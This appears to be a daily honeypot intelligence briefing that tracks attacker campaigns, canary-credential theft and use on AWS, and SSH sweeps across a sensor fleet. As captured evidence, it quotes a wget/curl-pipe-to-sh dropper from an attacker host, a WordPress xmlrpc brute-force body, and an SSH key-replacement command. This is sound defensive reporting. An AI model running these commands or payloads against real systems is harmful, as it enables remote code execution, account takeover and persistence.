FLUX FLEET — INTEL BRIEFING №35

Period: 2026-09-27 07:33 – 2026-09-28 07:34 UTC (24h, day 33 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile, third full window, still no mints), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation; 33-day baseline; every volume move and spike traced to a source by spot query)

BLUF

Credential use returned to the fleet. Seven canary credentials reached AWS in this window — six from Feo Prest 213.209.159.175's hoard, one from SS-Net 80.94.95.211 — and ended ten consecutive zero-use windows. The 28 use events split evenly: 14 sts:GetCallerIdentity successes and 14 denied bedrock:ListFoundationModels. The deny-all policy held at every boundary beyond identity. XMLRPC-BRUTE also returned after five silent windows. It ran its registered 1,000-POST system.multicall shape against a fixed admin username, and it landed on the fleet's newest node, lauterbourg-01-ts. Census pressure collapsed elsewhere: ORACLE-SWEEP, CONFIG-SWEEP, and the MEGA-DICTIONARY replay all went idle and drove −36% to −97% event declines on seven of eight sensors. Sensors minted 88 issued rows — 80 Tracebit credentials to 30 collectors — with zero mint failures, the first failure-free window since №16.

Key Judgements

1. The credential hoard is working stock, not parked inventory. Feo Prest .175 used 6 of its collected credentials across 16 AWS-side operations (its six-day mint balance is 90), and SS-Net .211 used 1 across 4 operations. Both are the pipeline's most persistent collectors, and both converted hoard to use inside one window. (High confidence — Tracebit alerts join to flux mints on collector IP; the operation list is in the canary section below.)
2. XMLRPC-BRUTE's original operator class returned, and the new Kiteworks node is now in its target set. The exact registered shape ran on lauterbourg-01-ts: preflight trio, then 1,000 system.multicall POSTs at ~23/s, wp.getUsersBlogs with fixed username admin against a rotating password list, forged Chrome/78 — from 185.19.40.202 (1337 Services GmbH, NL), the ASN class that ran the days-2–12 batches. (High confidence — journey, timing, and bodies captured by spot query.)
3. LIBREDTAIL-KIT now runs two delivery legs from one IP pool. The same 9 IPs ran the standard eval-stdin.php chain (37 events each) and a php-cgi injection leg through /bin/sh and /hello.world (7 events each), carrying the byte-identical base64 key-exfil body and the 217.60.103.56 dropper. The pool refreshed: 1 repeat of 16 active IPs, against 5 of 11 last window. (High confidence on the two legs — bodies decode and IPs overlap exactly; Moderate on pool size, inferred from a 3-window sample.)
4. The census lull is campaign-specific, not a fleet-wide stand-down. ORACLE-SWEEP (second miss → standing-paused), CONFIG-SWEEP (second idle), METADATA-HUNT (seventh idle), and the MEGA-DICTIONARY replay (first miss since the lift) all went quiet at once — yet OMEGA-SWEEP minted 18 across three nodes and REGISTRY-HUNT held its 8-runner cadence with a synchronized evening mint wave. (High confidence — counts are direct.)

Active Campaigns (day 33 status)

CREDENTIAL-DRAIN (mint→use pipeline) ⟳ — USE RETURNS: THE HOARD LEADERS CASH IN (Hostile, active)

• Actors: collector side 213.209.159.175 (Feo Prest SRL, DE) and 80.94.95.211 (SS-Net, RO); use side is AWS egress infrastructure — the alerts name 16 use IPs on .175's thefts and 4 on .211's, none of which appear in flux logs (the standing CREDENTIAL-DRAIN pattern).
• TTPs: 28 use events across 7 credentials: GetCallerIdentity ×14 (success — identity leak only) and ListFoundationModels ×14 (denied). ListFoundationModels is the Bedrock catalog call, first seen on the deny log; it extends the Converse family inside the same deny-all boundary. No ConsoleLogin, no IAM, no data-plane success.
• Assessment: ten zero-use windows are over, and the first users are the two largest standing hoards (90 and 15 mints in six days) — the fleet's hoard-or-resale question now has a working-stock answer for at least one actor. The fleet design did its job: minted credentials were real enough to draw use, and the deny-all policy converted every attempt past GetCallerIdentity into a logged denial. A single success beyond identity, or a ConsoleLogin, is the escalation signal.

XMLRPC-BRUTE (system.multicall dictionary) ⟳ — ORIGINAL OPERATOR CLASS RETURNS ON LAUTERBOURG (Hostile, active)

• Actors: 185.19.40.202 (1337 Services GmbH, NL) solo — 1,007 events, 5 paths, 00:14–00:15 UTC. The newer operators (35.233.85.98 GCP, 207.175.64.93 Google BE, 119.40.84.186 BDCOM BD) absent.
• TTPs: the registered sequence: GET / (302 ×3), /wp-includes/wlwmanifest.xml (200), /wp-json/wp/v2/users/ (200), /wp-json/oembed/1.0/embed (404), then 1,000 POST /xmlrpc.php in ~45 s at ~23/s, all 200. Bodies wrap wp.getUsersBlogs with fixed username admin against rotating passwords (admin123, 12345678, pass123 class — single-account dictionary, not a spray):

  <?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>admin</string></value><value><string>admin123</string></value>…

• Assessment: the 1,000-POST batch is the days-2–12 operator's exact cadence, back after roughly sixteen quiet windows, and the Kiteworks decoy carried it — the fleet's newest surface now draws the campaign's oldest tooling. Username admin matches №27's operator; watch whether 1337 Services stays or the baton passes again.

OMEGA-SWEEP (/46 census pool, Googlebot forgery) ⟳ — MINT OUTPUT REBOUNDS TO 18 (Hostile, active)

• Actors: 94.154.46.246 — canary-farm-1 census, 2,100 events / 1,042 paths / 132 trap families in one minute from 05:48 (12 mints), plus a 150-path netcup pass; 94.154.46.243 — control-1, 1,050 events (6 mints); 94.154.46.248 — lauterbourg-01-ts, 300 events / 150 paths; pool host 94.154.43.60 touched all 8 sensors (57 events).
• TTPs: forged Googlebot/2.1; the 1,042-path template on trap nodes, the 150-path list on no-canary nodes. Mints ride /.env inside the census burst.
• Assessment: /46 mint output swung 0 (№34) → 7 (№33) → 18 this window. The block's six-day hoard view: .249 at 27, .246 at 18, .248 at 17, .243 at 12, .247 at 8, .244 at 6 — all still zero-use. The pool remains the fleet's model multi-window hoarder; .246 is now its most active minter.

LIBREDTAIL-KIT (phpunit RCE chain, honest UA) ⟳ — 17TH WINDOW, SECOND DELIVERY LEG (Hostile, active)

• Actors: 9 full-kit IPs at 37 events each — 129.121.129.159, 45.85.218.117 (netcup-ts), 103.54.100.252, 167.71.233.141 (ai-devbox-1), 38.250.161.179, 129.121.129.184, 185.167.61.230 (netcup + sponge), 88.218.94.33 (sponge-01-ts). Fragments: 103.230.144.104 (24), 69.12.176.117 (11 — the window's only repeat, from №33/№34), 150.241.66.127 (4; also minted on ai-devbox-1), 103.75.11.189 (3; 4 mints), 149.40.48.71 (1; 1 mint).
• TTPs: the registered chain (344 md5("Hello PHPUnit") probe bodies, POST /index.php with shell_exec(base64_decode(...))) plus a new-in-digest php-cgi leg: /bin/sh [cgi-traversal-rce-command] and cmd-injection-php-cgi-rce paths (/hello.world, /index.php), 7 events per IP, same bodies. Dropper captured 12/12, one distinct value:

  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache The base64 body decodes to the key-exfil success oracle: cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----…

• Assessment: execution, not credentials — zero kit-side mints in 17 windows (the fragment IPs that minted ran separate .env stops). The staging host stays on 217.60.103.56 since №17, now with a second injection surface against php-cgi targets. The pool refreshed this window; the №34 "pool shrinking" read is on hold.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — 8 FULL-KIT RUNS, EVENING MINT WAVE, LAUTERBOURG TOUCHED AGAIN (Borderline per registry)

• Actors: ai-devbox-1: 209.38.208.202, 206.81.24.227, 209.97.180.8, 167.71.175.236; canary-farm-1: 46.101.111.185, 46.101.1.225, 167.172.158.128, 206.81.24.74 — all DigitalOcean, 41 events each, signature variants b07c7bb207b4 (aidev) / 850993125b15 (farm). Lauterbourg-01-ts: 134.209.25.199 and 209.38.208.202 (the aidev runner crossed nodes; 17 trap families with kiteworks-root-redirect openers). l9explore/1.2.2 45.138.12.51 on netcup + lauterbourg (88 events each).
• TTPs: the registered WebLogic → Confluence → WHM/cPanel → docker-registry walk, unchanged; 8 mints at the 1-per-IP cadence in a synchronized 20:03–20:37 wave (two UA variants: l9scan/2.0.632323… aidev, l9scan/2.0.234313… farm).
• Assessment: the pool holds its ~8-IP cadence and keeps lauterbourg in its target list. Borderline per the registry: public leak-scanning service; report activity, keep out of the criminal set.

TOKEN-CRAWLER (/c/ token crawler) ⟳ — SEVEN IPs, THREE WAVES (Hostile, active, no-canary node only)

• Actors: 45.198.224.232/.233/.234/.235/.237/.238/.239 — frantech-ts only, 110 events.
• TTPs: /c/<100-char random token> + .env directory variants, all not-handled, 0 mints; three synchronized waves at 09:18, 16:52, and 23:59 UTC.
• Assessment: unchanged shape; the /24 remains the correlation key. Promotion trigger stays a mint or a POST — impossible on frantech, so watch for the first trap-node touch.

Feo Prest census family (213.209.159.175 / .154) ⟳ — .175 23RD WINDOW AND NOW A USER; .154 SECOND MINT WINDOW (Hostile, active)

• Actors: 213.209.159.175 — 23rd consecutive window: 294 events across control-1 and canary-farm-1, 21 issued flux rows (18 after Tracebit dedup) in seven 3-mint bursts, 90 in six days — the largest single-host hoard on record. 213.209.159.154 — one farm mint (04:38, Firefox/2.0b2 BeOS forgery), its second minting window.
• TTPs: .175 rides /-tarpit cycling, .env-variant walks, and /.env [issued] stops under heavy antique-UA rotation (Ubuntu Firefox/3.6, iPod iOS 3.1.3, iPad iOS 4.3, SamsungBrowser/4.0, Android Firefox/48 among this window's set).
• Assessment: one hosting identity, two roles, and now proof of consumption: the fleet's top collector used 6 credentials on AWS the same window it collected 21 more. Hoard-to-use latency is now the number to watch.

Lauterbourg census operators (Google BE + RouterHosting) — WATCH, THIRD WINDOW (Hostile, watch)

• Actors: 35.205.254.119 (Google LLC, BE) — 119 events / 117 paths, up from 1 event in №34; 144.172.99.12 (RouterHosting LLC, US) — 79 events / 79 paths on lauterbourg plus 1 ai-devbox-1 mint; 45.8.19.88 — 9 events, WordPress /blog/ preflight + 1 POST /blog/xmlrpc.php; 193.138.195.188 — 11 events, 2 POST /login on the Kiteworks decoy under mixed UAs (MSIE 9 NCLIENT50 + Chrome/94).
• TTPs: enterprise-app census families first seen this window (/sitecore/shell/sitecore.version.xml, /Telerik.Web.UI.WebResource.axd, /jasperserver/login.html, WordPress plugin readme.txt set, /instance/config.py), mostly under a bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 — the WP-ENUM UA class) and Chrome/137.
• Assessment: the Kiteworks profile keeps drawing real census and credential-attack traffic in week three, and the decoy's /login took 2 more POSTs. POST bodies remain uncaptured (bodyPreview NULL) — the capture gap is now two windows old and is the node's only blind spot.

New single-actor items — WATCH (Hostile, watch)

• 45.138.12.15 (Tc Datacenter Limited, LT) — canary-farm-1, 146 events / 143 paths in 90 s, forged Firefox/91, fake-git walk (/.git/config, /.git/HEAD, /.gitignore). Second tooling host in this /24 (№27's census candidate .16 idle again, №34's single .27, l9explore .51) — one hosting block, four kits; do not merge, watch the /24.
• 118.194.250.22 (UCLOUD TH, ipsum:3) + 123.58.215.102 (UCLOUD HK, ipsum:4) — synchronized /+/favicon.ico tarpit loops on netcup (133 events) and sponge (114), 2 paths each. Noise-class volume, blocklisted hosting; report, no campaign.

Absent / paused this window

• ORACLE-SWEEP — second consecutive miss since the №33 un-merge. The №34 rule fired: standing-paused. Un-pause on a 140.245.x/161.118.x run with the ~94-path core.
• MEGA-DICTIONARY — first miss since №34 lifted the pause; frantech long-path volume collapsed with the node (−97%). A second miss re-opens the pause question.
• CONFIG-SWEEP — second idle window; 87.120.104.29 absent (no seam rows this time).
• METADATA-HUNT — seventh idle; 0 @fs/__aws_leak_probe markers.
• SS-PROBE — idle; no fifth operator, no re-runs this window.
• NIGHTAGENT (dormant), CRUSADER-SWEEP, CURL-SWEEP, AKAMAI-CONFIG, ALIYUN-PROBE, SYNC-ENUM-WAVE, GCP-ACONF, ENV-CENSUS-3/4 — no activity.
• №34's lauterbourg login-loop cluster (5aacd0c8529f: 178.16.54.246, 158.94.210.156, 192.175.111.242, 136.65.176.14) — lapsed after one window, 0 returns.
• Techoff CVE-prober 195.178.110.22 (cve-2026-87902-poc/1.0) — absent after two consecutive windows.

Standing actors (persistence check)

• 213.209.159.175 (Feo Prest SRL DE) — 23rd consecutive window; 21 flux mint rows (18 dedup), 90 in six days; now a confirmed AWS user and the fleet's top collector.
• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 22nd consecutive window on control-1: 1,310 events / 581 paths, ipsum:2. Loop volume down again (1,378 → 1,310).
• 80.94.95.211 (SS-Net RO) — 3 mints + 1 credential used on ai-devbox-1; the /24 veteran's rare quiet-and-use mix. Sibling 80.94.92.65 minted 4 more on ai-devbox/frantech/netcup/farm passes — the block now fields two active collectors.
• 45.148.10.171 — fifth consecutive window: 9 mints across canary-farm-1, ai-devbox-1, control-1 (40 in six days), antique forged-UA rotation intact (this window adds a W3C_Validator/1.305.2.12 forgery).
• Benign baseline: 16.5.0.236 (8 nodes, 143 events), 93.174.93.12 (4 nodes, 288), 185.218.86.25 (7 nodes, 102), 80.82.77.202 (5 nodes, 124), 195.182.16.23 (7 nodes, 35), osint-scanner/1.0 45.139.104.34/.35 (4+3 nodes), 45.135.193.198 (7 nodes, 21). The metabase CVE-detector drew the window's single XFF mismatch row.

Canary credentials

Summary

7 Tracebit alert(s) fired in the window (28 use events across 7 credentials). Fleet sensors minted 80 credentials to 30 collector IPs; 7 credential(s) reached AWS. Use outcomes: 14 success, 14 failure. Denied operations: ListFoundationModels×14. 14 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 45.148.10.171: 40 mints, 2026-09-23 00:55 → 2026-09-27 18:04
• 94.154.46.249: 27 mints, 2026-09-21 17:09 → 2026-09-25 00:25
• 87.120.104.29: 24 mints, 2026-09-23 18:05 → 2026-09-26 05:33
• 94.154.46.246: 18 mints, 2026-09-26 00:30 → 2026-09-28 05:49
• 94.154.46.248: 17 mints, 2026-09-21 11:45 → 2026-09-22 03:23
• 94.154.46.243: 12 mints, 2026-09-21 16:11 → 2026-09-27 10:19
• 105.115.10.78: 8 mints, 2026-09-25 23:08 → 2026-09-26 20:32
• 194.127.166.149: 8 mints, 2026-09-24 17:10 → 2026-09-24 18:32
• 94.154.46.247: 8 mints, 2026-09-22 22:53 → 2026-09-24 05:26
• 185.177.72.64: 6 mints, 2026-09-25 15:52 → 2026-09-25 22:51
• 2.27.154.52: 6 mints, 2026-09-25 04:53 → 2026-09-25 05:24
• 213.209.159.154: 6 mints, 2026-09-22 02:28 → 2026-09-27 04:38
• 62.244.54.240: 6 mints, 2026-09-24 22:18 → 2026-09-24 22:45
• 94.154.46.244: 6 mints, 2026-09-24 21:15 → 2026-09-24 21:15
• 109.205.176.10: 5 mints, 2026-09-24 10:44 → 2026-09-28 05:36
• 136.85.48.119: 5 mints, 2026-09-23 16:49 → 2026-09-25 23:59
• 179.43.150.26: 5 mints, 2026-09-22 14:29 → 2026-09-23 02:50
• 134.209.110.125: 4 mints, 2026-09-27 22:51 → 2026-09-27 23:04
• 135.136.55.62: 4 mints, 2026-09-24 06:13 → 2026-09-24 06:51
• 194.180.48.253: 4 mints, 2026-09-24 15:50 → 2026-09-24 19:23
• 195.177.94.18: 4 mints, 2026-09-22 04:06 → 2026-09-22 09:52
• 23.234.77.64: 4 mints, 2026-09-25 16:29 → 2026-09-25 17:29
• 45.138.12.51: 4 mints, 2026-09-22 08:13 → 2026-09-26 07:30
• 64.225.75.246: 4 mints, 2026-09-21 20:38 → 2026-09-24 20:39
• 80.94.92.65: 4 mints, 2026-09-27 21:25 → 2026-09-28 03:00
• 102.220.161.139: 3 mints, 2026-09-26 05:22 → 2026-09-26 07:12
• 103.75.11.189: 3 mints, 2026-09-28 04:44 → 2026-09-28 05:39
• 167.99.181.249: 3 mints, 2026-09-25 20:05 → 2026-09-26 20:12
• 31.57.216.50: 3 mints, 2026-09-25 23:10 → 2026-09-25 23:11
• 41.140.17.206: 3 mints, 2026-09-27 01:56 → 2026-09-27 02:06
• 41.140.198.124: 3 mints, 2026-09-25 03:20 → 2026-09-25 03:28
• 45.153.34.39: 3 mints, 2026-09-23 07:00 → 2026-09-27 01:21
• 46.101.111.185: 3 mints, 2026-09-22 20:31 → 2026-09-27 20:37
• 80.87.206.148: 3 mints, 2026-09-21 06:26 → 2026-09-27 09:01

Network-layer recon (Arkime) — 2026-09-27 07:33:00 → 2026-09-28 07:34:04 UTC

Fingerprint field ssh.hassh, destination port 22 · 111,320 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 60,681, sensor:lauterbourg-01-ts 30,420, bahrain-sponge-01-ts 20,512, sensor:bahrain-sponge-01-ts 20,512, frantech-ts 16,297, sensor:frantech-ts 16,297

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,224 sessions from 343 source IPs across 187 networks in 58 countries, port 22, avg 4,927 B/session. Networks: AS14061 DigitalOcean, LLC, AS8075 Microsoft Corporation, AS4766 Korea Telecom, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS132203 Tencent Building, Kejizhongyi Avenue. Busiest sources: 82.114.230.17, 46.188.119.26, 183.91.11.36, 202.51.214.98, 202.165.14.147. Last 7 days: 09-22 297 IPs, 09-23 351 IPs, 09-24 330 IPs, 09-25 339 IPs, 09-26 321 IPs, 09-27 316 IPs, 09-28 124 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP holds the plateau for a ninth day: 343 IPs (+20) / 187 networks / 6,224 sessions (−116). The 09-28 partial count (124) is window censoring, not a drop.
• The unregistered heavy single-source clients grew again — and a third joined them. 0a07365cc01f… 28,364 sessions (+12,009, +73%) across 44 IPs, now the top fingerprint on frantech, ru-edge, sponge, and ai-devbox-1; 16443846184e… 18,790 (+1,322) across 45, top on canary-farm-1 and netcup; and 4e066189c3bb… 8,433 (+3,409) across 14 IPs, now control-1's top fingerprint. The three together carried ~50% of the window's inbound sessions. Banner characterisation is still pending — the gap carries from №33.
• Lauterbourg-01-ts is now the fleet's most probed node by session count: 30,420 sessions from 1,976 source IPs in its third pcap window, ahead of control-1 (20,512) and frantech-ts (16,297).

Fleet Observations

Canary economics. Digest window: 88 issued rows (canary-farm-1 43, ai-devbox-1 23, control-1 17, ru-edge-1 5); the Tracebit-side dedup sees 80 credentials to 30 collectors — the delta is the 24-hour seam cast. Failures: zero — the first failure-free window since №16, with no burst-speed signature and no key defects. All-time issued rows: 1,895 (visuals counter). Seven of those 80 credentials reached AWS this window (see CREDENTIAL-DRAIN).

Attribution/TLS posture. XFF counters: any-XFF 325, multi-entry 0, ignored-internal 0, single-entry mismatch 1 — the self-labeled benign metabase-cve-2026-72898-detect/1.0 probe asserting 125.215.151.113 from socket peer 20.164.136.197 (Azure). Benign per the registry; no hostile forgery, no socketPeer pivot warranted; thirteenth clean hostile window since the counter deployed. Host census: every node's own address leads its counts except lauterbourg, where the Kiteworks vhost leads again (1,288 vs 984 bare IP). Lauterbourg carried 138 https events.

Fleet volume moves and their causes. Every large census template went idle at once, and the digest shows it: frantech-ts −97% (475) — no MEGA-DICTIONARY replay; ru-edge-1 −92% (274) — no ORACLE/CONFIG wave; netcup-ts −88% (932) — no census and a light Ruhr-Uni cadence; ai-devbox-1 −75% (748) — no METADATA-HUNT runners; sponge-01-ts −67% (690); control-1 −36% (2,863) — Pfcloud loop slowed and .243's 1,050-event census replaced bigger prior waves; canary-farm-1 −38% (3,041) — OMEGA's 2,100-event census is the floor now. The only riser is lauterbourg-01-ts +15% (2,282 events / 145 IPs), driven by the XMLRPC-BRUTE batch (1,007) plus the census watchers. The quiet is one coordinated absence, not decay: the same operators' other tooling (OMEGA census, LeakIX runners, LIBREDTAIL) ran on schedule.

control-1 discovery velocity. 2,863 events / 84 unique IPs — inside the 62–145 post-fix band for the tenth consecutive window. Discovery stays flat; the event decline is per-IP volume, not reach.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 577 sources sent credentials → 442 got a shell (77%) → 246 ran a command (56% of shell-getters, 43% of sources). Event level: 12,712 credential attempts → 5,783 accepted logins → 8,585 commands — 148% of accepted logins run something, down from last window's 160% but still the high-work-rate band.

Eighth consecutive fully static window: zero new commands (0 of 39 distinct). Telnet commodity botnets: 2,669 attempts — up 3.3× from 817, the window's one real volume move on this surface. The recurring set is unchanged: the uname inventory cluster (2,908 events × 2 variants, 5 IPs, led by 109.160.32.170), the chattr -ia .ssh re-plant family (1,013 events, 214 IPs), its rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAA…" key-replace companion (888 events, 190 IPs), and the PATH-hardened uname survey set (162 events, 6 IPs, led by 80.94.92.55). Credential pairs: 3,004 distinct, 15 new — all single-attempt commodity pairs (dejanae/dejanae1, openkm/password, root/helloadmin among them). Concentration unchanged: 345gs5662d34 and root/3245gs5662d34 keep their records.

Gaps / Next Collection

1. AWS-side use is now proven — close the loop on the use side. The alerts name 16 use IPs on .175's thefts and 4 on .211's; export the use IPs and ASNs from the Tracebit alert log, and diff them against flux logs for post-use web traffic. A repeat use event from either actor settles hoard-vs-resale per actor.
2. Kiteworks /login and /rest/users POST bodies are still not captured (bodyPreview NULL on every POST, second window running). 193.138.195.188 submitted 2 POSTs to the decoy's /login this window. Request the capture-path fix in the ops repo before the next window.
3. Banner characterisation for the three heavy unregistered SSH fingerprints — 0a07365cc01f… (28,364 sessions), 16443846184e… (18,790), 4e066189c3bb… (8,433, now control-1's top) — is ~50% of inbound sessions. The gap carries from №33; characterise before naming.
4. MEGA-DICTIONARY cadence: one miss since №34 lifted the pause. Record the next replay's operator and diff the path set; a second miss re-opens the pause decision.
5. Watch 94.154.46.246: 12 mints in one burst, 18 in six days. If it repeats .249's 27-credential build-up, the /46 hoard compounds; any AWS alert from the block is the escalation signal.
6. LIBREDTAIL pool: the repeat rate snapped back to 1/16. If the 18th window is all-fresh again, reject №34's "pool shrinking" read; if repeats return, the pool is fixed and small.

Digest: /data/flux-logs/reports/flux-digest-2026-09-28.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-09-28.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-28.html

Watch next cycle: (1) CREDENTIAL-DRAIN — repeat use from .175 (90/6d hoard) or .211, and the use IPs' post-use web footprint; a success beyond GetCallerIdentity is the escalation. (2) MEGA-DICTIONARY — whether a replay returns after the first miss, and which ASN carries it. (3) The three unregistered SSH heavy fingerprints — pull banners and name or dismiss them before they top 60% of inbound.